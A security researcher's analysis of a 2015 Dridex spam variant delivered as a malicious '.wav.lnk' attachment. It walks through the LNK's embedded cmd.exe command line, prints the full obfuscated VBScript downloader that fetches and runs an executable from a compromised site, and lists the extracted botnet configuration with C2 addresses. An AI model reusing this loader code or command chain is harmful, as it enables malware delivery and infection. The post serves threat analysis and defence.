The Dridex spam wave has now been hitting France for more than a month. Until now, the spam pattern serving this malware has remained more or less similar, that is :
- A text in french, inviting the user to open the attachment
- A Word or Excel document apparently empty
- A VBA macro executed when the document is opened which will then download an additional VBS script from the pastebin website
- The VBS document downloads a binary file, most of the time from a compromised website. This is the first stage of the Dridex malware.
This process has been documented a lot on the internet . But a new variant of this spam process has been spotted the 28th of July.
Since the 2015-07-28, a few users have spotted an email including a small file whose extension is “.wav.lnk” . This attachment is a malicious LNK file. A quick analysis using a tool like
lnk parser  gives us the following informations:
[Link Info] Location flags: 0x00000003 (VolumeIDAndLocalBasePath, CommonNetworkRelativeLinkAndPathSuffix) Drive type: 3 (DRIVE_FIXED) Drive serial number: a872-5adc Volume label (ASCII): Local path (ASCII): C:\ Network share flags: 0x00000002 (ValidNetType) Network provider type: 0x00020000 (WNNC_NET_LANMAN) Network share name (ASCII): \\PC01\C Common path (ASCII): Windows\System32\cmd.exe [String Data] Relative path (UNICODE): ..\..\..\..\..\Windows\System32\cmd.exe Arguments (UNICODE): /c copy *.wav.lnk %tmp%&%systemdrive%&cd %tmp%&for /F %i in ('dir /b /s *.wav.lnk') do set x=%i&findstr /R /C:"#@~" %x% >1.vbe&cscript 1.vbe Icon location (UNICODE): %windir%\System32\wmploc.dll
Two things are worth noticing here:
- The LNK uses the Windows Media Player icon, which makes sense since the
.wav.lnkfile extension was used
- The .lnk file runs
/cparameter, which will therefore execute the batch command line given as parameter
The executed batch line will run through the following steps:
- copy the .lnk file in the temporary folder of the user
- extract a data stream from the .lnk file itself, starting from the “#@~” mark, and save it in a file named “1.vbe”
- run the command “cscript 1.vbe”
Opening the .lnk file in an hexadecimal editor confirms a data stream has been appended to the file, as we notice in the picture below:
The file is a VBScript written in VBE format (VBScript Encoded). It can be converted into a VBS file quite easily , which then reveals the following code:
Public SbUYcGnIFn Public Function xbxGk5Ux3irM4d() cTdsOvmpZ0T = "h" & Chr(116) & "=" & Chr(116) & "p" & ":" & Chr(47) & Chr(59) & "/" & Chr(108) & Chr(97) & Chr(117) & Chr(114) & Chr(97) & "n" & Chr(99) & "e" & "-" & Chr(112) & Chr(114) & "i" & Chr(109) & Chr(101) & Chr(117) & Chr(114) & Chr(115) & Chr(61) & Chr(46) & Chr(102) & Chr(114) & Chr(47) & Chr(51) & Chr(52) & Chr(53) & Chr(47) & Chr(119) & Chr(114) & Chr(119) & Chr(46) & "=" & Chr(101) & Chr(60) & "x" & Chr(101) Set ElDbasip6 = w7IAmB5cDGswAm("M" & Chr(105) & "c" & Chr(114) & Chr(111) & "<s" & "o" & Chr(102) & "t" & Chr(46) & Chr(88) & Chr(77) & Chr(60) & Chr(76) & Chr(72) & "T" & "<T;" & Chr(80)) cTdsOvmpZ0T = Replace(cTdsOvmpZ0T, Chr(60), "") cTdsOvmpZ0T = Replace(cTdsOvmpZ0T, Chr(61), "") cTdsOvmpZ0T = Replace(cTdsOvmpZ0T, Chr(59), "") ElDbasip6.Open "G" & "E" & Chr(84), cTdsOvmpZ0T, False Set HURaWTTfnV70aA = w7IAmB5cDGswAm(Chr(87) & Chr(83) & Chr(99) & Chr(114) & Chr(105) & Chr(112) & "t" & Chr(46) & Chr(83) & Chr(104) & Chr(101) & "l" & Chr(108)) Set jfhAqR8f0z = HURaWTTfnV70aA.Environment(Chr(80) & Chr(114) & Chr(111) & Chr(99) & Chr(101) & Chr(115) & Chr(115)) Ga9exV0usiOxh = jfhAqR8f0z("T" & Chr(69) & Chr(77) & Chr(80)) SbUYcGnIFn = Ga9exV0usiOxh & Chr(92) & Chr(109) & Chr(105) & Chr(107) & "a" & Chr(112) & Chr(111) & Chr(108) & Chr(110) & Chr(101) & Chr(46) & Chr(101) & Chr(120) & Chr(101) Dim FiiLlqz7ZuFikb ElDbasip6.Send FiiLlqz7ZuFikb = ElDbasip6.responseBody T1AetFXr4ps8 FiiLlqz7ZuFikb, SbUYcGnIFn CP45sZEhc107 ("avNTTxhUC9eWb") End Function Public Function w7IAmB5cDGswAm(Fpsh8W7KwFw4n3) Fpsh8W7KwFw4n3 = Replace(Fpsh8W7KwFw4n3, Chr(60), "") Fpsh8W7KwFw4n3 = Replace(Fpsh8W7KwFw4n3, Chr(61), "") Fpsh8W7KwFw4n3 = Replace(Fpsh8W7KwFw4n3, Chr(59), "") Set w7IAmB5cDGswAm = CreateObject(Fpsh8W7KwFw4n3) End Function Public Function T1AetFXr4ps8(PUDV4fRQQIpv, inq7dnGSyLG) Dim pDvVXJLJ5VGIbM: Set pDvVXJLJ5VGIbM = w7IAmB5cDGswAm(Chr(65) & "d" & Chr(111) & "d" & Chr(98) & "." & Chr(83) & "t" & Chr(114) & Chr(101) & Chr(97) & Chr(109)) With pDvVXJLJ5VGIbM .Type = 1 .Open .write PUDV4fRQQIpv .savetofile inq7dnGSyLG, 2 End With End Function Public Function CP45sZEhc107(oTOZyLSZ9iofhw) Set YMg9p4gOLj = w7IAmB5cDGswAm("S" & "h" & "e" & "l" & "l" & Chr(46) & Chr(65) & Chr(112) & "p" & Chr(108) & "i" & Chr(99) & Chr(97) & Chr(116) & "i" & "o" & Chr(110)) YMg9p4gOLj.Open (SbUYcGnIFn) End Function xbxGk5Ux3irM4d()
People who already analyzed some of Dridex’s Word VB macros will feel at home here. We notice a very light obfuscation, based on the use of the “Chr” function, in order to evade simplest antivirus signatures. The 2 following VIM commands will get rid off most of the obfuscation:
%s/Chr(\(\d\+\))/\=nr2char(submatch(1))/g %s/ *& *//g
Once deobfuscated, it appears the script will download a binary file from the following url:
Binary analysis and configuration extraction
The downloaded binary file is a PE file, 152 KB in size, compiled on 2015-07-28 at 12:23:35. Its sha256 hash is
66491a71b1d7a807d0b66205b3931bd297439678387dbc6fec77dfe1d0419a32. It is of course obfuscated and a first deobfuscation pass, or “unpacking”, needs to be done. Since this packer trivially decrypts the original malware in memory, it is quite easy to obtain the real malware using dynamic analysis.
The plain-text binary is, without surprise, a Dridex variant as the final
.sdata PE section suggests. It looks like the file was compiled on 2015-07-16 at 17:55:50. This
.sdata section is actually very important for Dridex since it contains a list of server IPs contacted in order to download the second part of the malware. A quick pass of reverse engineering on the binary tells us that this section has been ciphered by a 32 bits XOR key stored at the beginning of the section. Once decrypted, the content of the section looks like this:
After unpacking the rest of the section’s content via the APLIB algorithm, the configuration of this Dridex first stage appears in plain-text:
<config botnet="220"> <server_list> 184.108.40.206:743 220.127.116.11:4543 18.104.22.168:743 22.214.171.124:448 126.96.36.199:743 </server_list> </config>
This Dridex sample is tied to the 220 botnet, one of the two major botnets (with the 120 botnet) hitting France. Once run, the malware will download the main part of Dridex using one of the addresses listed above. This download will be done using a HTTPS connection.
Even if malware already used .lnk files in the past, the embedding of a vbe script inside is relatively novel and well thought. This new Dridex spam pattern doesn’t seem too wide-spread right now and is most likely only a small test. In fact, email gateways are way more likely to block those unusual .lnk files than we have seen so far.